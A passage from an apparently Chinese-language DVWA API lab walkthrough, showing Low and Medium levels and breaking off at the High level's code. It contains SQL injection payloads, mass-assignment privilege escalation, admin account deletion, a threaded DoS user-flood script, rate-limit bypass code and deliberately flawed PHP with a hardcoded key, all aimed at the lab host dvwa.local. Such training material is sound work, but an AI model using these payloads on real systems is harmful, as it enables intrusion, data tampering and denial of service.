查看admin用户</span></span><br><span class="line">curl -X GET http://dvwa.local/api/users/1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 结果：可以看到admin的所有信息，包括密码哈希</span></span><br></pre></td></tr></table></figure><h4 id="步骤4：SQL注入"><a href="#步骤4：SQL注入" class="headerlink" title="步骤4：SQL注入"></a>步骤4：SQL注入</h4><p><strong>在用户名中注入：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># SQL注入payload</span></span><br><span class="line">curl -X POST http://dvwa.local/api/users \</span><br><span class="line">     -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line">     -d <span class="string">&#x27;&#123;</span></span><br><span class="line"><span class="string">       &quot;username&quot;: &quot;admin&#x27;</span>\<span class="string">&#x27;&#x27;</span> OR <span class="string">&#x27;\&#x27;</span><span class="string">&#x27;1&#x27;</span>\<span class="string">&#x27;&#x27;</span>=<span class="string">&#x27;\&#x27;</span><span class="string">&#x27;1&quot;,</span></span><br><span class="line"><span class="string">       &quot;password&quot;: &quot;password&quot;,</span></span><br><span class="line"><span class="string">       &quot;email&quot;: &quot;test@example.com&quot;</span></span><br><span class="line"><span class="string">     &#125;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 或使用UNION注入</span></span><br><span class="line">curl -X POST http://dvwa.local/api/users \</span><br><span class="line">     -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line">     -d <span class="string">&#x27;&#123;</span></span><br><span class="line"><span class="string">       &quot;username&quot;: &quot;test&#x27;</span>\<span class="string">&#x27;&#x27;</span> UNION SELECT * FROM admin_table --<span class="string">&quot;,</span></span><br><span class="line"><span class="string">       &quot;</span>password<span class="string">&quot;: &quot;</span>password<span class="string">&quot;,</span></span><br><span class="line"><span class="string">       &quot;</span>email<span class="string">&quot;: &quot;</span><span class="built_in">test</span>@example.com<span class="string">&quot;</span></span><br><span class="line"><span class="string">     &#125;&#x27;</span></span><br></pre></td></tr></table></figure><h4 id="步骤5：批量赋值攻击"><a href="#步骤5：批量赋值攻击" class="headerlink" title="步骤5：批量赋值攻击"></a>步骤5：批量赋值攻击</h4><p><strong>修改用户角色：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 提升普通用户为管理员</span></span><br><span class="line">curl -X PUT http://dvwa.local/api/users/5 \</span><br><span class="line">     -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line">     -d <span class="string">&#x27;&#123;</span></span><br><span class="line"><span class="string">       &quot;user&quot;: &quot;hacker&quot;,</span></span><br><span class="line"><span class="string">       &quot;role&quot;: &quot;admin&quot;,</span></span><br><span class="line"><span class="string">       &quot;is_admin&quot;: 1,</span></span><br><span class="line"><span class="string">       &quot;privileges&quot;: &quot;all&quot;</span></span><br><span class="line"><span class="string">     &#125;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 结果：成功修改role和is_admin字段</span></span><br></pre></td></tr></table></figure><h4 id="步骤6：删除用户"><a href="#步骤6：删除用户" class="headerlink" title="步骤6：删除用户"></a>步骤6：删除用户</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 删除管理员账户</span></span><br><span class="line">curl -X DELETE http://dvwa.local/api/users/1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 结果：管理员账户被删除</span></span><br></pre></td></tr></table></figure><h4 id="步骤7：DoS攻击"><a href="#步骤7：DoS攻击" class="headerlink" title="步骤7：DoS攻击"></a>步骤7：DoS攻击</h4><p><strong>创建大量用户：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> concurrent.futures</span><br><span class="line"></span><br><span class="line">base_url = <span class="string">&quot;http://dvwa.local/api/users&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">create_fake_user</span>(<span class="params">i</span>):</span><br><span class="line">    data = &#123;</span><br><span class="line">        <span class="string">&#x27;username&#x27;</span>: <span class="string">f&#x27;fake_user_<span class="subst">&#123;i&#125;</span>&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;password&#x27;</span>: <span class="string">&#x27;password&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;email&#x27;</span>: <span class="string">f&#x27;fake_<span class="subst">&#123;i&#125;</span>@example.com&#x27;</span></span><br><span class="line">    &#125;</span><br><span class="line">    response = requests.post(base_url, json=data)</span><br><span class="line">    <span class="keyword">return</span> response.status_code</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用多线程创建1000个用户</span></span><br><span class="line"><span class="keyword">with</span> concurrent.futures.ThreadPoolExecutor(max_workers=<span class="number">50</span>) <span class="keyword">as</span> executor:</span><br><span class="line">    futures = [executor.submit(create_fake_user, i) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000</span>)]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> future <span class="keyword">in</span> concurrent.futures.as_completed(futures):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Created user: <span class="subst">&#123;future.result()&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>添加了简单的API密钥认证，但仍有漏洞。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&#x27;Content-Type: application/json&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 新增：API密钥认证 ★★★</span></span><br><span class="line"><span class="comment">// 从请求头获取API密钥</span></span><br><span class="line"><span class="comment">// X-API-Key - 自定义请求头</span></span><br><span class="line"><span class="variable">$apiKey</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_X_API_KEY&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 问题：硬编码的API密钥 ★★★</span></span><br><span class="line"><span class="comment">// 密钥写死在代码中</span></span><br><span class="line"><span class="comment">// 而且只有一个密钥，所有用户共享</span></span><br><span class="line"><span class="variable">$validApiKey</span> = <span class="string">&#x27;dvwa_api_key_12345&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 验证API密钥 ★★★</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$apiKey</span> !== <span class="variable">$validApiKey</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">401</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">        <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Invalid API key&#x27;</span></span><br><span class="line">    ]);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 新增：简单的限流 ★★★</span></span><br><span class="line"><span class="comment">// 但实现有问题</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">check_rate_limit</span>(<span class="params"><span class="variable">$api_key</span></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 使用文件存储请求计数</span></span><br><span class="line">    <span class="variable">$file</span> = <span class="string">&quot;/tmp/api_rate_limit_<span class="subst">$api_key</span>.txt&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：文件锁不安全 ★★★</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">file_exists</span>(<span class="variable">$file</span>)) &#123;</span><br><span class="line">        <span class="variable">$data</span> = <span class="title function_ invoke__">json_decode</span>(<span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$file</span>), <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 检查过去60秒的请求数</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">time</span>() - <span class="variable">$data</span>[<span class="string">&#x27;timestamp&#x27;</span>] &lt; <span class="number">60</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="variable">$data</span>[<span class="string">&#x27;count&#x27;</span>] &gt;= <span class="number">100</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">false</span>; <span class="comment">// 超过限制</span></span><br><span class="line">            &#125;</span><br><span class="line">            <span class="variable">$data</span>[<span class="string">&#x27;count&#x27;</span>]++;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 重置计数</span></span><br><span class="line">            <span class="variable">$data</span> = [<span class="string">&#x27;timestamp&#x27;</span> =&gt; <span class="title function_ invoke__">time</span>(), <span class="string">&#x27;count&#x27;</span> =&gt; <span class="number">1</span>];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="variable">$data</span> = [<span class="string">&#x27;timestamp&#x27;</span> =&gt; <span class="title function_ invoke__">time</span>(), <span class="string">&#x27;count&#x27;</span> =&gt; <span class="number">1</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">file_put_contents</span>(<span class="variable">$file</span>, <span class="title function_ invoke__">json_encode</span>(<span class="variable">$data</span>));</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">check_rate_limit</span>(<span class="variable">$apiKey</span>)) &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">429</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">        <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Rate limit exceeded&#x27;</span></span><br><span class="line">    ]);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$method</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;REQUEST_METHOD&#x27;</span>];</span><br><span class="line"><span class="variable">$path</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;PATH_INFO&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 新增：使用PDO预编译 ★★★</span></span><br><span class="line"><span class="comment">// 防止SQL注入</span></span><br><span class="line"><span class="keyword">global</span> <span class="variable">$db</span>; <span class="comment">// PDO连接</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// GET /api/users/&#123;id&#125;</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$method</span> == <span class="string">&#x27;GET&#x27;</span> &amp;&amp; <span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^\/users\/(\d+)$/&#x27;</span>, <span class="variable">$path</span>, <span class="variable">$matches</span>)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$userId</span> = <span class="variable">$matches</span>[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进：使用PDO预编译 ★★★</span></span><br><span class="line">    <span class="variable">$stmt</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&#x27;SELECT user_id, user, first_name, last_name, email FROM users WHERE user_id = :id&#x27;</span>);</span><br><span class="line">    <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bindParam</span>(<span class="string">&#x27;:id&#x27;</span>, <span class="variable">$userId</span>, PDO::<span class="variable constant_">PARAM_INT</span>);</span><br><span class="line">    <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">    <span class="variable">$user</span> = <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">fetch</span>(PDO::<span class="variable constant_">FETCH_ASSOC</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$user</span>) &#123;</span><br><span class="line">        <span class="comment">// ★★★ 改进：不返回密码哈希 ★★★</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">            <span class="string">&#x27;data&#x27;</span> =&gt; <span class="variable">$user</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;User not found&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// PUT /api/users/&#123;id&#125;</span></span><br><span class="line">&#125; <span class="keyword">elseif</span> (<span class="variable">$method</span> == <span class="string">&#x27;PUT&#x27;</span> &amp;&amp; <span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^\/users\/(\d+)$/&#x27;</span>, <span class="variable">$path</span>, <span class="variable">$matches</span>)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$userId</span> = <span class="variable">$matches</span>[<span class="number">1</span>];</span><br><span class="line">    <span class="variable">$input</span> = <span class="title function_ invoke__">json_decode</span>(<span class="title function_ invoke__">file_get_contents</span>(<span class="string">&#x27;php://input&#x27;</span>), <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：仍然没有授权检查 ★★★</span></span><br><span class="line">    <span class="comment">// 任何有API密钥的人都可以修改任何用户</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进：字段白名单 ★★★</span></span><br><span class="line">    <span class="comment">// 只允许修改特定字段</span></span><br><span class="line">    <span class="variable">$allowedFields</span> = [<span class="string">&#x27;first_name&#x27;</span>, <span class="string">&#x27;last_name&#x27;</span>, <span class="string">&#x27;email&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="variable">$updates</span> = [];</span><br><span class="line">    <span class="variable">$params</span> = [<span class="string">&#x27;:id&#x27;</span> =&gt; <span class="variable">$userId</span>];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">foreach</span> (<span class="variable">$input</span> <span class="keyword">as</span> <span class="variable">$key</span> =&gt; <span class="variable">$value</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">in_array</span>(<span class="variable">$key</span>, <span class="variable">$allowedFields</span>)) &#123;</span><br><span class="line">            <span class="variable">$updates</span>[] = <span class="string">&quot;<span class="subst">$key</span> = :<span class="subst">$key</span>&quot;</span>;</span><br><span class="line">            <span class="variable">$params</span>[<span class="string">&quot;:<span class="subst">$key</span>&quot;</span>] = <span class="variable">$value</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$updates</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;No valid fields to update&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$query</span> = <span class="string">&quot;UPDATE users SET &quot;</span> . <span class="title function_ invoke__">implode</span>(<span class="string">&#x27;, &#x27;</span>, <span class="variable">$updates</span>) . <span class="string">&quot; WHERE user_id = :id&quot;</span>;</span><br><span class="line">    <span class="variable">$stmt</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="variable">$query</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>(<span class="variable">$params</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">            <span class="string">&#x27;message&#x27;</span> =&gt; <span class="string">&#x27;User updated&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">            <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">            <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Failed to update user&#x27;</span></span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">http_response_code</span>(<span class="number">404</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="title function_ invoke__">json_encode</span>([</span><br><span class="line">        <span class="string">&#x27;success&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">        <span class="string">&#x27;error&#x27;</span> =&gt; <span class="string">&#x27;Endpoint not found&#x27;</span></span><br><span class="line">    ]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>API密钥认证</strong> - 需要密钥才能访问</li><li><strong>限流机制</strong> - 防止DoS攻击</li><li><strong>PDO预编译</strong> - 防止SQL注入</li><li><strong>字段白名单</strong> - 限制可修改字段</li><li><strong>不返回密码</strong> - 敏感信息保护</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><ol><li><strong>硬编码API密钥</strong> - 所有用户共享</li><li><strong>无授权检查</strong> - 有密钥就能操作所有数据</li><li><strong>限流实现弱</strong> - 文件锁不安全</li><li><strong>无用户上下文</strong> - 不知道谁在操作</li></ol><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：获取API密钥"><a href="#方法1：获取API密钥" class="headerlink" title="方法1：获取API密钥"></a>方法1：获取API密钥</h4><p><strong>从客户端代码获取：</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 如果前端代码中硬编码了API密钥</span></span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">API_KEY</span> = <span class="string">&#x27;dvwa_api_key_12345&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="title function_">fetch</span>(<span class="string">&#x27;/api/users/1&#x27;</span>, &#123;</span><br><span class="line">    <span class="attr">headers</span>: &#123;</span><br><span class="line">        <span class="string">&#x27;X-API-Key&#x27;</span>: <span class="variable constant_">API_KEY</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 查看浏览器开发者工具 → Network → Headers</span></span><br><span class="line"><span class="comment">// 可以看到X-API-Key</span></span><br></pre></td></tr></table></figure><p><strong>从文档获取：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 如果API文档公开</span></span><br><span class="line">curl -X GET http:<span class="regexp">//</span>dvwa.local<span class="regexp">/api/u</span>sers/<span class="number">1</span> \</span><br><span class="line">     -H <span class="string">&quot;X-API-Key: dvwa_api_key_12345&quot;</span></span><br></pre></td></tr></table></figure><h4 id="方法2：绕过限流"><a href="#方法2：绕过限流" class="headerlink" title="方法2：绕过限流"></a>方法2：绕过限流</h4><p><strong>使用多个API密钥（如果有）：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">api_keys = [<span class="string">&#x27;key1&#x27;</span>, <span class="string">&#x27;key2&#x27;</span>, <span class="string">&#x27;key3&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000</span>):</span><br><span class="line">    key = api_keys[i % <span class="built_in">len</span>(api_keys)]</span><br><span class="line">    requests.get(url, headers=&#123;<span class="string">&#x27;X-API-Key&#x27;</span>: key&#125;)</span><br></pre></td></tr></table></figure><p><strong>竞态条件：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 同时发送多个请求</span></span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">make_request</span>():</span><br><span class="line">    requests.get(url, headers=&#123;<span class="string">&#x27;X-API-Key&#x27;</span>: api_key&#125;)</span><br><span class="line"></span><br><span class="line">threads = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">200</span>):</span><br><span class="line">    t = threading.Thread(target=make_request)</span><br><span class="line">    t.start()</span><br><span class="line">    threads.append(t)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> t <span class="keyword">in</span> threads:</span><br><span class="line">    t.join()</span><br></pre></td></tr></table></figure><h4 id="方法3：越权访问"><a href="#方法3：越权访问" class="headerlink" title="方法3：越权访问"></a>方法3：越权访问</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 修改其他用户数据（有密钥即可）</span></span><br><span class="line">curl -X PUT http://dvwa.local/api/users/1 \</span><br><span class="line">     -H <span class="string">&quot;X-API-Key: dvwa_api_key_12345&quot;</span> \</span><br><span class="line">     -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line">     -d <span class="string">&#x27;&#123;&quot;email&quot;: &quot;hacked@evil.com&quot;&#125;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 结果：成功修改admin的邮箱</span></span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用JWT Token和更严格的权限检查，但仍有绕过可能。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span 